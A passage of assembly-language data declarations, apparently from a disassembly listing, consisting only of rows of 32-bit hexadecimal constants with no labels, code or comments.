		dd 98F0A8B1h, 2E95C686h, 0EF5F856Ah, 0B6AC72EEh, 51CCFA4Dh
		dd 643C54BCh, 9FFBEE0Ch, 2E5D039Fh, 6E025B7Ch, 8812865Ah
		dd 5AE8C33Fh, 6E52E30Dh, 479EF24Bh, 6CE98EDEh, 81A54C0Dh
		dd 0AA3020Dh, 1412EB22h, 0B8D5905Fh, 40413A47h,	0BCECE042h
		dd 8CCE9BACh, 37DC3E68h, 7C5D6E00h, 0E98A4A5Ah,	81D1814Bh
		dd 0DBD432ADh, 0A0BC9184h, 0A0B55BE6h, 0ADEB9342h, 456AB59h
		dd 1FEB1B01h, 0AEBBA9D4h, 18FD31DCh, 8BF17D47h,	0A45CCA6h
		dd 57FE0F5Eh, 0B0A6D4B1h, 58245D39h, 132B8CF9h,	7E597E20h
		dd 0E3AC5974h, 91386742h, 0D02B9213h, 0EE2F8FABh, 38EB2208h
		dd 170E69BEh, 6439B9D5h, 6D65F4C1h, 0AF0F5197h,	6AB54DE7h
		dd 1CC52B31h, 7291C83Ah, 6B388484h, 8A60EA28h, 21D64EA4h
		dd 0C299C55h, 97A8A8F6h, 2B36540Fh, 9AFDADB6h, 0B433C06Dh
		dd 9CE3F678h, 7961690Ah, 3799608Fh, 0FD94BF07h,	596B9C19h
		dd 86EFE1C8h, 71D32F63h, 0ABC6C04Dh, 8904798Dh,	0F4580336h
		dd 6FC40307h, 0A70D2FA8h, 4AEADDCDh, 0DE8105DCh, 311E839Bh
		dd 70078223h, 0CFCE1A92h, 60F039DEh, 64D01480h,	40D1D7B7h
		dd 0EAC22A35h, 0F8C618C8h, 0B4E39D87h, 6B11817h, 0BF9A2A16h
		dd 73055643h, 4AE7166h,	0ECD707A3h, 15957181h, 575847EEh
		dd 52FA9997h, 474B81BEh, 0C1E09610h, 0B4595362h, 0D2BEADCh
		dd 6E44C1Dh, 8545A5F8h,	0EABC75C0h, 0A586F9A5h,	5F19AA02h
		dd 79A511EEh, 0A38EB736h, 76A84FF6h, 0C06D5AF3h, 0FD677D7Ah
		dd 0B580E2BAh, 106A3BD7h, 0E1631F95h, 0D0559C8Dh, 0B7B6DF7Bh
		dd 8D7F9488h, 74234BDh,	192E0D61h, 0ED6C9AB2h, 58215C70h
		dd 4E2C329Eh, 0EE54C7E5h, 0FA2FDBCAh, 65FC064Eh, 0B1BCD6B2h
		dd 5AF1990Dh, 0A6F68128h, 6D3E29DCh, 348684FCh,	0AC39FC25h
		dd 5999AC73h, 0F0B2A07Bh, 0ED23A467h, 0F9543C7Fh, 0EE9883A4h
		dd 0D57AFD63h, 0FA65D884h, 0C1BF7CF0h, 0FD0F5A64h, 8E3F0DE3h
		dd 8A9FC49Eh, 0DD54F600h, 0D39E1B22h, 0CEDDD841h, 816350EDh
		dd 0B6A4DC46h, 8D774013h, 2D792FE9h, 0F0208411h, 0F0CE0F44h
		dd 0B244D63Eh, 622DED11h, 915BC13Bh, 82BE179Ah,	0DB6EBFD6h
		dd 0A4D51D40h, 5537962Bh, 75B722B8h, 7C8C7361h,	1B5BC654h
		dd 0A3F081ABh, 0ECD97B24h, 4B453EF8h, 0F5C3B04Eh, 5284D776h
		dd 0A2C4F1F5h, 41FBA5F8h, 1B7E5FF7h, 2046E9DAh,	0AB908523h
		dd 0E09F734Eh, 2B2DDC72h, 48085558h, 0F8B5BFA0h, 0CB757391h
		dd 7139117Ch, 8C0B5B9Ch, 0E1905B35h, 79E40547h,	8A1547DDh
		dd 753A21BBh, 33628525h, 0B1A9B814h, 18439E01h,	7483441Ch
		dd 0BDE80D55h, 52B6875h, 8C4A10F0h, 0B8B62C08h,	9A21A0B6h
		dd 0A38F263Ch, 9EE42AABh, 0AFB51575h, 0D1A4603Fh, 61C9F5F5h
		dd 496AA54Ch, 4B1773EAh, 650C1A31h, 4E4C25E2h, 2F982826h
		dd 0D966600Dh, 0BD1BE4A1h, 0B8E85E6Fh, 0FAB0A9A5h, 26EA60B2h
		dd 0FEBA95D3h, 0E8B76A45h, 0D39971A7h, 8DE2E472h, 0F9F01E89h
		dd 3EF4F6D5h, 0B2AAC27Ch, 0A92962D3h, 0A8471800h, 0DE2BCA9Ch
		dd 0F4216390h, 3ABC9D00h, 200811F2h, 0AFA967FBh, 0DA3CD125h
		dd 0DAFB144Bh, 0EA5CBF47h, 40BAF8A7h, 568E3766h, 0D9ED9E0Bh
		dd 0ECCAF15Fh, 15B85939h, 0A1AE984Fh, 27502994h, 82D61EF6h
		dd 27755A6h, 0A5672055h, 6C42E98Fh, 8CFCD6C1h, 0C3274F5Ch
		dd 0B916E612h, 93DE1E2Ch, 0BA313B67h, 0AA416FE9h, 0C0877490h
		dd 0F096F692h, 3721779Ch, 7F4BD062h, 71EAB2A9h,	30D3131Eh
		dd 4232640Ch, 7B02DABCh, 4D8CAA61h, 1E3B4323h, 80D5B552h
		dd 0D0E5585Ch, 10066BC7h, 0F8AE8DC5h, 28AD4ED9h, 0E8B90CE8h
		dd 0DA58D757h, 6462E7CFh, 1B892EE5h, 32CC0EB5h,	31FC449Ch
		dd 53459895h, 0CE2579A8h, 6207F8C0h, 0C1CF8C7Ch, 0D46379EAh
		dd 83C768EEh, 823AB093h, 5B7B5471h, 0E2D76EB2h,	0EE341935h
		dd 0CF7CA838h, 3AE8183Ah, 812A798Eh, 43BEA419h,	1ACBABA0h
		dd 284537ABh, 0DCA2FF5Fh, 0DE71D2DEh, 36C8BC39h, 8BCFD87Bh
		dd 46C686DBh, 0F8D788DBh, 0B91E50E8h, 17A371ECh, 0F3B3E50Ch
		dd 83557E93h, 3B60039Fh, 0E328F515h, 0EDC69500h, 0E9F35DABh
		dd 9978850Eh, 3E01AEF0h, 1C7E0EEFh, 0DC6F6AAEh,	3AEAA9C8h
		dd 4B2D0749h, 0A5524510h, 0B351F572h, 374AFD7Dh, 8B3D6C36h
		dd 5746C0C9h, 1A45E814h, 0EA4952B3h, 6BC49920h,	52003DD3h
		dd 0D849B770h, 627C80h,	9575935Ch, 0DBC62AADh, 0FF2EC3A6h
		dd 0C549C4Eh, 739A138Eh, 0BFDD16D3h, 4F034A8Eh,	0D6CFB04Eh
		dd 29C7258Ah, 59043F45h, 90A3AA18h, 7EDF8C62h, 0F772EA7h
		dd 0E1A00AB4h, 15764C09h, 0EE9C77E9h, 78AE880Eh, 75489B7Ch
		dd 787383E3h, 0FD515887h, 0ABE00CEFh, 7DDBAB48h, 82869A0h
		dd 900504F6h, 5CEB486Ah, 32276642h, 2CFF03CCh, 0E1FD9AECh
		dd 35ED1655h, 0DDE82C09h, 1BDFA709h, 699FD9CCh,	0D6E151EBh
		dd 93D5C900h, 240F271Eh, 1300971Fh, 0BFC822Bh, 0B0088AB5h
		dd 0CA40519Eh, 0C570F397h, 4444B952h, 14B195EAh, 8368BAF9h
		dd 0FCA6E0E6h, 0BFBD5860h, 671BA6AEh, 0F04E4BF2h, 0B5298838h
		dd 87DCBF2Eh, 43F927BDh, 0DE71F40Fh, 0C5BB1473h, 36FC6DAh
		dd 8BE81F83h, 4DBB56E4h, 0DCF9EE93h, 0AE10E55Dh, 0A012B211h
		dd 1556BF42h, 5D8DB338h, 195A1E1Ch, 0A89D2DACh,	90591914h
		dd 0F77D30AEh, 9FFE0DB6h, 63733468h, 9061ED45h,	436FB3E3h
		dd 495B1583h, 873FA027h, 0DF3FC6FBh, 872D4422h,	11C312E3h
		dd 0C16869ACh, 0E1280B87h, 36F10358h, 29DD5DB5h, 0A75F8681h
		dd 244E728Dh, 8B6D8011h, 0CE613785h, 46E92C7Ch,	4A7695E1h
		dd 2E6A6010h, 71FE887Dh, 0DE57B3BBh, 8953758Dh,	0D2B71265h
		dd 0F364B763h, 631CB456h, 0A0049998h, 0AA2276E6h, 0E9839BAh
		dd 5076604h, 2B31D7C0h,	0D150ECAFh, 6724DECAh, 0A337AFD8h
		dd 26A694ABh, 0C46E27EDh, 0CE3C294Dh, 23805E2Eh, 0DCDB2792h
		dd 40B2B4C6h, 0B881FF99h, 0D4FEAEAEh, 0E1B2D6CAh, 9C9B67EEh
		dd 514A48AFh, 95DE1A4Ch, 7BFBB95Fh, 39405CDEh, 0FDEB6544h
		dd 759C3708h, 0BE0543E2h, 887B4316h, 90B6AB62h,	520FC3C4h
		dd 9D33D72Ch, 3043B533h, 7917B0ECh, 0E57F651h, 2C79945h
		dd 0A5110FC3h, 598F904Fh
		dd 8057203Bh, 0B8BF584Dh, 80695D4Eh, 0D4D7205Bh, 0FDB96407h
		dd 3DE4A87Ch, 2031FBEBh, 89D92AE2h, 557276C5h, 0BEC76DD2h
		dd 25586F94h, 0A13E07D9h, 8897F993h, 29CA1EDCh,	23C7EF96h
		dd 8BFA404Ch, 857AECC1h, 0D96C956h, 9D2F64F5h, 72C9E340h
		dd 0ABCF0041h, 3FCBFAD5h, 7C2652BDh, 7F14608Ch,	6F46F661h
		dd 3EB1EF1Ch, 4121ADE1h, 0E6F7F4D1h, 0A7079A1Eh, 9B761D12h
		dd 477559D0h, 0E22811C9h, 0D04163C9h, 0B6F5A24Eh, 5AB2307Dh
		dd 0B0B80FF1h, 0AD326C2Fh, 8E4742E8h, 0F443FA12h, 30E9A4EBh
		dd 2C687396h, 1E18F6E2h, 4D90FE5Ah, 9BB9D703h, 0C191F164h
		dd 703AC5F2h, 7977D67Dh, 1F08C4D0h, 2FBC36FDh, 7039F240h
		dd 0D96FD30Dh, 1D7D2276h, 45F55184h, 0C0AA8998h, 8ABB7C7Dh
		dd 1E11F81Ch, 0BD677708h, 5C5A7DB8h, 72FCA697h,	9FC3839h
		dd 4E9E8EAFh, 0F23B7D1h, 0C6CBFCC0h, 5B6FEDF7h,	8286E6F0h
		dd 86463177h, 5BA0B8Dh,	572DEAA3h, 1604DC91h, 96EF8B55h
		dd 92FADCDDh, 0BE045643h, 7EBDA648h, 6C2E7694h,	83DC1272h
		dd 0E5495B25h, 6416227Ah, 82263982h, 7D5D4898h,	0F76669F3h
		dd 4D58C94Ch, 1F79E9E2h, 1E94AD90h, 99552F7Ch, 7D28863h
		dd 5A01D777h, 4F7ADE9h,	608A7B43h, 223F7569h, 8AAF2C58h
		dd 0C6A49DB1h, 0A780E8E4h, 0BD8A2C81h, 0F5209324h, 788B5CD0h
		dd 0FF73439Bh, 0E6E2375Ah, 64C95BF6h, 0A42B3AEh, 490E45D9h
		dd 59DDA171h, 4767F22Ah, 95394954h, 51EA50C9h, 0CF2BD361h
		dd 9D3876FBh, 0B8D3C48Ah, 336FC42Fh, 83ED15FEh,	3B2839CCh
		dd 2B9B918h, 56396E0Bh,	818B88BBh, 8644D378h, 0EFA6010Ah
		dd 11714255h, 69A359C9h, 0E7E37B7Fh, 0F7958F7Dh, 4C312AAEh
		dd 811D71E5h, 0BD37452Ah, 9123B95Dh, 82A6B45Eh,	0FEB077C9h
		dd 0DF36942Ch, 0D2DEB7CAh, 0EFB1FD51h, 0F8B2154Ch, 0D5C5A19Ah
		dd 3A72C9F7h, 0E056A9C1h, 70FFB89Eh, 44242DBh, 47C7525Eh
		dd 0C08135FFh, 0D9ABD31Ch, 80C1A7C0h, 0D4D37447h, 0CB990A1Fh
		dd 4CF1D7D3h, 7D380833h, 0E60F6730h, 34BE4816h,	0E8D16B08h
		dd 0E4F0167h, 6CBF2C75h, 0DF5A6BE0h, 0BB285E60h, 23E08B3Bh
		dd 1DD98BA0h, 18A267FDh, 0C5705AADh, 20C8C598h,	0A59E01E5h
		dd 422FB711h, 6648ECE7h, 5BE42C6Fh, 33C28B03h, 5560E3F1h
		dd 0ABB129F0h, 25CBB0FAh, 189318FCh, 1F6F9B9Fh,	4D3F680Fh
		dd 2C1BFEE2h, 8C0FF92Ah, 0ABAA30DDh, 831218ADh,	16516A82h
		dd 0FB001BC5h, 0B1CD42ECh, 0A235680Eh, 0E4AB69C3h, 8EF5321Eh
		dd 91E230DDh, 77389C03h, 0E8BAC741h, 1DDC1E04h,	0B8A220E5h
		dd 515F1C5Dh, 558CCD48h, 0B582029Ah, 620DB5C6h,	2E9FC6E9h
		dd 225F97DCh, 708FBE04h, 7369BE9h, 0F720551Dh, 0DAB3D115h
		dd 0F52FF6Ah, 37057497h, 1B69FFCDh, 430F3936h, 61BF097Ah
		dd 5707FF0Dh, 0DABE3FE0h, 27A369B6h, 0A36AE8D2h, 0F5F58F14h
		dd 0C5E54B2Bh, 0D7F1EC9Fh, 3E2EE5A1h, 4B3A6B91h, 8DC606Ch
		dd 1497261h, 31551FE3h,	7B51879h, 0FE97483Ch, 0A83A422Fh
		dd 47AA4A78h, 586229DBh, 0BCDA34AAh, 0C2C5EC74h, 0B704E325h
		dd 0C25EBD17h, 0FC0448BEh, 0A68AAF93h, 81C4774Ch, 0EA5E67E4h
		dd 32D441AAh, 0C82D3008h, 267DFA08h, 0DD84BB7Dh, 3CC8CF7Eh
		dd 5620282Bh, 0A9014AFCh, 46F85CCDh, 4919F424h,	13036FE4h
		dd 0DA9AE084h, 161395D2h, 0A08B6B69h, 0B0DE9F83h, 0BA429804h
		dd 65A7B994h, 79E1C2B3h, 0CB703398h, 0D3B47020h, 31571511h
		dd 269FBA64h, 0FC0F1A23h, 5C1D9D00h, 60125E80h,	957AA9C7h
		dd 891D0CB8h, 17B5D367h, 37612B92h, 6A989548h, 13D9B0C0h
		dd 22EF3A4Dh, 531D6078h, 0CD931AD2h, 1F1C683Dh,	42CCD7C9h
		dd 0B5148886h, 119935A7h, 3A604D26h, 95390B43h,	381A6D8Dh
		dd 2842E611h, 5D261938h, 4B94822Ah, 4E651B06h, 0D8C46AF4h
		dd 0BB64909Eh, 0B457CE8Ch, 5847CBB9h, 0A4666434h, 24399A52h
		dd 3565227Dh, 0D1170E5Dh, 69FBCE85h, 0FE9CA932h, 0FB80C415h
		dd 90688A14h, 64C7B6CDh, 2B78F922h, 7E585C64h, 0DA3BB51h
		dd 0CC866D76h, 17716FCDh, 0B825E4F5h, 0A9B0320Bh, 58C7067h
		dd 8F6C51A3h, 0E21C11D1h, 0C7C71034h, 51AAD1F5h, 280CACB2h
		dd 12E2F34Dh, 4193A858h, 86CAB0C1h, 3B2A8ED0h, 879868E5h
		dd 1CEFFCCDh, 15168F97h, 0E8EDB20Ah, 3DBB0339h,	0E49EBB8Ah
		dd 0BB40C3AAh, 2DBBEA1Eh, 3E2B50DCh, 5851BD8h, 3950BDF9h
		dd 40A732A3h, 753ED844h, 249D596Dh, 2C997F20h, 0C1569E53h
		dd 2BD3D3F2h, 22A0594Ah, 0C3AE9204h, 602614Eh, 0C278B0D9h
		dd 0EDF95FE8h, 0DBACF91Eh, 0C64110E8h, 900EF31Dh, 9DB30CD1h
		dd 387E0F57h, 2753AE44h, 0B0257B76h, 0B514ECA8h, 6B48588Fh
		dd 0B77F8779h, 29EAD4ECh, 22552B99h, 0EBC10215h, 0E61B0F3Bh
		dd 0BF2A7231h, 9277395h, 27FB7FAAh, 9903B364h, 0F18C3B5Bh
		dd 0AB25BA1Eh, 0B8628E42h, 74F1787Fh, 0DAF8864Bh, 0A7698BF8h
		dd 0DC0595D2h, 0A3C30930h, 529D17B3h, 37417309h, 1CDE277Ah
		dd 0B2831A80h, 0C059B3F2h, 7DE3C23Fh, 891FB4E0h, 85C7ED36h
		dd 109DE86Fh, 0EC2FF751h, 838AC42Dh, 1EF87E77h,	0E58EC0B9h
		dd 778A8C66h, 37B6C279h, 0F2897CC7h, 3ABF0E73h,	7B9BE145h
		dd 0A8A5FB92h, 0A13595EDh, 0C2FDC3FBh, 94B05FCDh, 0FFAA3640h
		dd 0CDE4095Ch, 643FAB69h, 5A3BE0F3h, 0BF797975h, 0DB85E3CFh
		dd 0DA71D04h, 0EE582619h, 0EAD44B44h, 93FCEDE4h, 0E0838625h
		dd 0E8080F76h, 755BF106h, 0BC5F9D95h, 7D18B127h, 0F3F306E2h
		dd 4CD868C1h, 3DCFD427h, 8C1CFABDh, 0A4D35CAFh,	95786875h
		dd 7F70C614h, 0E2215624h, 32F090B9h, 0DEBC3584h, 2E819F9Dh
		dd 0A5DBD46Fh, 54FB045Bh, 393D743Bh, 6AACC590h,	0D23C7342h
		dd 0AAC07E33h, 88042BFDh, 78A26362h, 849C7A6Ah,	41CE0435h
		dd 55885DE5h, 0DEDC23EFh, 0CB6AE607h, 989EC39Dh, 0D90D38A5h
		dd 9BF4DED0h, 0FF123901h, 0D0212567h, 0AABD9835h, 0E0B342D8h
		dd 0D3537246h, 772B8986h, 7202EC47h, 9A3EC550h,	84BA5A7Ah
		dd 68D218Bh, 0C2E34D9Ah, 7B1BC7CDh, 39EFDE08h, 3161C95h
		dd 3B9F9793h, 3ABAC3DFh, 31D9AD0Ah, 0FF0B5902h,	0C04C8564h
		dd 971170E6h, 0AD141CFAh, 0B43F35ACh, 8D0BD27Dh, 0EE8395A5h
		dd 0D6F4204Eh, 2C9C9C34h, 3C227F17h, 794B89C4h,	4EA15B7Ch
		dd 5836C772h, 721C0A1Bh, 2DFBFA18h, 66867314h, 0F3447502h
		dd 0D17F7379h, 522BE9E7h, 0E4AC2ECEh, 2864DB2Bh, 779CEF6Fh
		dd 0E4FE79C6h, 6ACB56E7h, 0D23DAB56h, 937D2BE2h, 0A0401230h
		dd 677F6184h, 93F9B7B3h, 0BABD66D0h, 70C8B191h,	0A0DDA24Ch
		dd 9066F65Ch, 695BF956h, 9963DBEh, 973ABFADh, 51DFF1CAh
		dd 965FC96Dh, 0F5A8484Ch, 0B44E4059h, 44424DBFh, 41A48503h
		dd 5BACB230h, 1D295A7Bh, 830FCDAFh, 0AC6D5EFDh,	0FC5639C1h
		dd 86DB9264h, 14FC8C2Ch, 34BC9CACh, 22BA1205h, 65EC9F11h
		dd 41A54638h, 3757D81h,	6E3C9DFCh, 0F1E599FCh, 0C6BA7415h
		dd 477EC749h, 0B25B1098h, 0E49EBD4h, 0D9424C35h, 0DBC40C51h
		dd 1DCDEC44h, 20037673h, 35715629h, 78014B58h, 0B5F93CA6h
		dd 330D2EB8h, 30B19398h, 0F2AA42BAh, 0DE6AE7DAh, 447689DCh
		dd 2E61D307h, 0C176EF3Fh, 7D214DD4h, 1DEE9DA0h,	2C09D1BCh
		dd 0F085E8E7h, 3B5530C7h, 0BDEFEFC8h, 0ED96ECC5h, 4B09C904h
		dd 0A4097A03h, 0E8544B94h, 84CEF40Dh, 35EE7B88h, 0EA66BA19h
		dd 82D02B4Dh, 0F76ADBE7h
		dd 0C11B53DBh, 0EC5E2A9h, 222ACE46h, 364E2104h,	2AEC8952h
		dd 943A2AEAh, 0CFC56B13h, 3FE8FA99h, 6F678166h,	9EB0B481h
		dd 0C3C4C0AEh, 349BEA34h, 6E6E54E0h, 73595609h,	0E302F554h
		dd 0CDAE06E0h, 87221C63h, 0FB38BB7Ch, 0E75184A9h, 598BE465h
		dd 0B14D8716h, 9DC05552h, 0D007364Ch, 0D12E06F5h, 444D8CBh
		dd 0C62CCA78h, 88C5DE4Eh, 0F67087E4h, 3D918714h, 4D2C82F1h
		dd 0F98CDC00h, 2C59D9BCh, 4DBBFB2h, 20645043h, 426DE588h
		dd 6E202A5Bh, 31C17742h, 0BDE17E00h, 45D0EC77h,	0A0A4E9ABh
		dd 2C8A3EBFh, 3FCA1CB6h, 0F2C4E580h, 52D42C5Eh,	0B9B92325h
		dd 0FF55CCFh, 62A09D3Ah, 0F1895365h, 1AA5C931h,	6B41BC1Dh
		dd 0A2BD454Bh, 3711618Ch, 545C5B28h, 0BD411318h, 0AB75B7BFh
		dd 0F6733512h, 28F2269h, 0F9BBCFD1h, 1109F986h,	16762036h
		dd 0B4C8BEDDh, 0CE1444Ch, 0CC3A0FEh, 2E68D36Ah,	4BAEB8E8h
		dd 0ECC5E903h, 82AE5EC9h, 0CFA2F94Ch, 29C45588h, 23936993h
		dd 0D671D94Eh, 58BEF398h, 62783CA1h, 26010E52h,	0E96C27ABh
		dd 28FE7046h, 0BF5C282Dh, 3CF9A115h, 0B220FD2Ah, 1D5ED126h
		dd 0E51A3Fh, 0FDAC16B8h, 0D44FB603h, 648839B6h,	61A50742h
		dd 333782D1h, 0BC698308h, 0F6884BADh, 83BC31A2h, 41534FB6h
		dd 31821E00h, 9864BD6Dh, 2BF8A099h, 57B79FCBh, 5B181F83h
		dd 6445733Dh, 18B79709h, 0B1DF8120h, 0C5776ECh,	9AFEC8D3h
		dd 9E430E9Eh, 0DE82BBBEh, 0A9D0A982h, 0DB795964h, 95B8A3F1h
		dd 0AE007E67h, 0D5339D9Ch, 446F0977h, 0C7901D83h, 3F9C67AEh
		dd 0F1E052ABh, 0C8968DD0h, 80413C3Dh, 13BD521Fh, 0F27543D7h
		dd 0ADF9BB1Bh, 0FF15FE59h, 0E5B8CC63h, 350AC1D8h, 0BA4E6D9Fh
		dd 473A99BAh, 108029F2h, 54EB8310h, 0B36B80D7h,	78AE7822h
		dd 4E78EDC0h, 0BD89BF3h, 80AAB840h, 0A62CF509h,	0FDFA74E6h
		dd 0D05E7B1Ch, 3D4DD6ACh, 0EC778A88h, 0ABCBEF82h, 4A0356DEh
		dd 0A7484CFDh, 7DD95B99h, 0EBAC60FEh, 0DBC14892h, 199E097Fh
		dd 48EC5293h, 844FCDA2h, 0C45ACE9Ch, 765CE01Eh,	0B71F37D2h
		dd 1E1EACh, 0ED10D8A0h,	0F1B68D43h, 0D73F555Fh,	0CB4F0D51h
		dd 5F512F5Fh, 0CA2E5AC0h, 139EBF4Dh, 26EF06E8h,	4F4FE7FBh
		dd 0F67C4BD1h, 8459BAFEh, 83259384h, 0B6955AF7h, 4340F27Eh
		dd 7F402D76h, 0BCEAC9h,	2DE2E240h, 0FA9FFA2h, 8B944259h
		dd 5086760Eh, 9BF0804Fh, 8D0D1910h, 0A5CD8444h,	0DCB0BF44h
		dd 537044A0h, 30F81696h, 8DD20561h, 30B35F2Ch, 12C2F889h
		dd 0E797D974h, 0DD4C195h, 11F1807Bh, 45DAF0Eh, 1A608EB2h
		dd 0D81362E9h, 0D8740D30h, 507FF25Ch, 91C487F7h, 4B5D5233h
		dd 557AF1C2h, 1F492BBBh, 2AD05983h, 0AA3A7C09h,	0DB1FE969h
		dd 8B1ADA64h, 519B788Ah, 68564DACh, 0D38933D1h,	0C5AB7397h
		dd 0D7DF8720h, 0EF520137h, 0A9B634A5h, 8D8DB1AAh, 0FE7A2175h
		dd 0DF6874BCh, 1997F507h, 0BC484792h, 0D13DD7B7h, 7424A654h
		dd 8FE9951Eh, 0A49435CEh, 0EC281E89h, 28D474DAh, 28C194E6h
		dd 7A287F12h, 0D5CF395Eh, 0E478A574h, 2046E10Fh, 0B3BDB5EFh
		dd 49E02597h, 98C38273h, 0F02CEF9Ah, 68428199h,	0AB427CBAh
		dd 3C7E818Ch, 1BA9497Fh, 0D568C281h, 8AD21913h,	0C8A71997h
		dd 0F41E0FECh, 0E6A9C4F2h, 3DA979EFh, 0CC173C27h, 51E71154h
		dd 1F86A89Bh, 10C4DCA8h, 5DF75AC4h, 0E242BA22h,	0D503AC2Ch
		dd 5F5E5BB4h, 64EC4A58h, 9C5E17C7h, 3586C71Fh, 0E092FD95h
		dd 3D7D85E0h, 0BD975DF7h, 3361B9ECh, 23384F92h,	0A5E051C0h
		dd 39942585h, 8026A9h, 0B7319B7Ah, 7235E262h, 0CE5938F4h
		dd 3D6F3E82h, 0AD6B7E9Fh, 0A5D91B15h, 0AE0BCBF2h, 1767B21Fh
		dd 8407C1ECh, 3B3C0CCDh, 0D0C5F9DBh, 0B1FDAE14h, 567A8501h
		dd 0FE50EC1Bh, 0EFA186FDh, 40851691h, 19053284h, 4B372837h
		dd 0D4D8B12Fh, 13356DBDh, 92E42980h, 11D74BCFh,	2B0712A7h
		dd 0EC2D4420h, 63312777h, 0B97047C5h, 63163692h, 0EA082495h
		dd 0AFC01B1h, 0A696A118h, 0A7148A3h, 0A2DB683Ah, 0EF9D72A3h
		dd 9804B3FFh, 564854ACh, 5E7F8008h, 2D23EFA4h, 28BBD283h
		dd 0BDF1D6DEh, 0AFFE7DC6h, 0B82C6E3h, 8AC4BE6Fh, 74DF4A16h
		dd 703585F2h, 9674CF20h, 0C95C351Ch, 626C0463h,	2EB2EC93h
		dd 0CFB2F54Ah, 5E4420Dh, 9D624C9Ch, 87E03C01h, 0B6F4806Ah
		dd 6E795DF3h, 0B61C22CDh, 48675BB7h, 0B0F94D08h, 0BA38BEF3h
		dd 0EA5CD4Ch, 0B0BCAFBCh, 0D0345057h, 0CE25CA44h, 77040138h
		dd 0D5249A84h, 0AA42A316h, 0D0604CACh, 0D612E667h, 0A89D6037h
		dd 58486F46h, 26F8E7E7h, 4A4A3FC3h, 7195CDF7h, 4C5E094Dh
		dd 24937E3Ch, 9E201C34h, 1CF9EB1Ah, 957BD73Fh, 49D0596Ch
		dd 0F0F6A5C9h, 0D4BA8A41h, 7FED2377h, 7D27CF99h, 0CA1DA340h
		dd 0B814E204h, 0C648EE2Dh, 0BD151181h, 0F1366957h, 922015EFh
		dd 1A0CE808h, 1B0C1AEEh, 2527F625h, 832539FBh, 289F85ADh
		dd 9B2D09ECh, 4F4E73AEh, 9860175Fh, 41A511CFh, 0C9B964ABh
		dd 9633A0C7h, 0D8DC8821h, 0C9A66B81h, 828BA208h, 0C7BD4401h
		dd 217A5777h, 81E9DAC0h, 5246038h, 9AEC9D14h, 0E7EBA7D5h
		dd 0FFCD3902h, 40534E73h, 1ED3A7DFh, 5CDE0CDFh,	0A1E28C04h
		dd 0F55E4E92h, 0D4482765h, 27746B8Ah, 0E2872268h, 0A0FDEB98h
		dd 7F6D43F3h, 78247984h, 0BB0BD99h, 1F204BC6h, 944A23D7h
		dd 67742D98h, 0E79B7C6Dh, 12AAB52h, 0C07D9C81h,	0D70A6CBAh
		dd 0E922446Dh, 67E1FB78h, 1442F7EAh, 0A19D4DC3h, 4318CE72h
		dd 0D9C286EDh, 628F9495h, 218F37BDh, 2A92DA10h,	783496CFh
		dd 512403FBh, 0A57A9D12h, 0D5E39D2Ah, 72974EC0h, 8085C842h
		dd 60A57281h, 0DB6CC6A7h, 2D9AAFC6h, 0FF2D422Fh, 0AF7EA1CCh
		dd 52A2F9A8h, 77646012h, 0A330A79Dh, 0B258793Ch, 0D7C30967h
		dd 0F2F43880h, 0B3C3592Bh, 177292ABh, 9080BCEh,	9B4E6573h
		dd 0D3B328B6h, 0DF76EF48h, 0C22EDF00h, 9AB9D59Ah, 0DE2CE454h
		dd 5FE54EA8h, 0E1F1D036h, 1C1F79A1h, 784FE351h,	629A9D84h
		dd 0C6B48E53h, 3EB66D68h, 9F635A02h, 58C15154h,	0C7BA601Dh
		dd 95DE1628h, 437795F3h, 6EFF1000h, 370158F2h, 0DA2CF422h
		dd 523B5D1Bh, 0FA011F6Bh, 7E2F9073h, 390B90D8h,	333C012Ah
		dd 79EB54B3h, 1CA33456h, 9459F28h, 0FD93C9D7h, 877DBF17h
		dd 25267DFFh, 9255AEB1h, 429B9D72h, 5DA9F758h, 267CFDE7h
		dd 9F2295CDh, 5EDBB0B5h, 0A38BAA2h, 7EC22DE6h, 5FD534ECh
		dd 1D7A511h, 508CEB10h,	9F49A737h, 1D207C31h, 0F730840Dh
		dd 6A26FEBCh, 9BD98C01h, 0D0B2F7EEh, 7D5A6577h,	856423A3h
		dd 95F5F7ACh, 433D9063h, 9472264Eh, 0DF76FED9h,	542DA383h
		dd 6B7BF3h, 37597E96h, 13C58290h, 1101C502h, 2BC43F25h
		dd 0BA1B4DBAh, 0B6A6CD3h, 0F3564D3Ch, 36C3D5BBh, 2EB80548h
		dd 34E5AC54h, 0A662AC83h, 36333F36h, 981BBB0Bh,	695ABF31h
		dd 4E932BC0h, 9F2B8DEAh, 3CE7FEFDh, 0D1B9E77Bh,	5A7670AAh
		dd 8F0E8F26h, 32803898h, 7B544602h, 0EE4C6239h,	0F756F8F6h
		dd 7654B33Ch, 1D0B1FC4h, 0AF19AD3Ch, 0B31E39A3h, 7524B573h
		dd 1A6F5737h, 8C548020h, 0BF9C58B2h, 4B3AC342h,	42A764DDh
		dd 78C6989Bh, 6838021Ah, 121F37F7h, 0D6E9DF5h, 9559627Fh
		dd 627B4E83h, 9CAFEB81h, 17A68C67h, 0B9A99277h,	8C2DA0Ch
		dd 41BF8100h, 0BC8D3F26h, 0E0397946h, 2FA002D7h, 0FF18C14Bh
		dd 932A072Fh, 6D0F4722h
		dd 819147FBh, 0BF597DB3h, 8017857h, 0AEC8D0FFh,	0C2E60871h
		dd 3F9DB26Fh, 129BB8C1h, 0D6D02AB2h, 73F46A61h,	6FE0C28Fh
		dd 927F8FD0h, 9AADACBAh, 99F68C91h, 50D66183h, 1E1C3293h
		dd 485578B1h, 0BB2E1C3Bh, 77685990h, 1430B954h,	0FA2FCCE1h
		dd 0E3C3835Ch, 52E7A17h, 74358754h, 0E3DD3EDCh,	0C659A32Eh
		dd 0F0BBF3BCh, 2E3903B9h, 0A2BCD386h, 47E0747Ch, 19AC1D33h
		dd 33A5D267h, 0CF008CDBh, 0EF93F0DBh, 556515A2h, 0CFFBD2FCh
		dd 0F6E5EB91h, 6E2F987Bh, 6F3CB887h, 589FC8F7h,	0AF6A0D8Dh
		dd 4E82641Ch, 0FC15D988h, 0E6D6A14Ah, 4B257026h, 5DD6097Eh
		dd 8EAB8E85h, 0FE68FA9Dh, 53B40CF0h, 0E2276988h, 5A26CDBEh
		dd 45BEBB1Dh, 21175194h, 69B005C1h, 4E262510h, 69CDAA1Ah
		dd 0EBFC869Ch, 0B26C3E60h, 0D4D27E63h, 3A1CD466h, 0E720EBDCh
		dd 99C6B446h, 0A8C1DD4Dh, 60987FAh, 0AE00C29Fh,	2DBB4DCAh
		dd 5C404313h, 96B3C084h, 46E7A233h, 96EC8370h, 0ACF1B603h
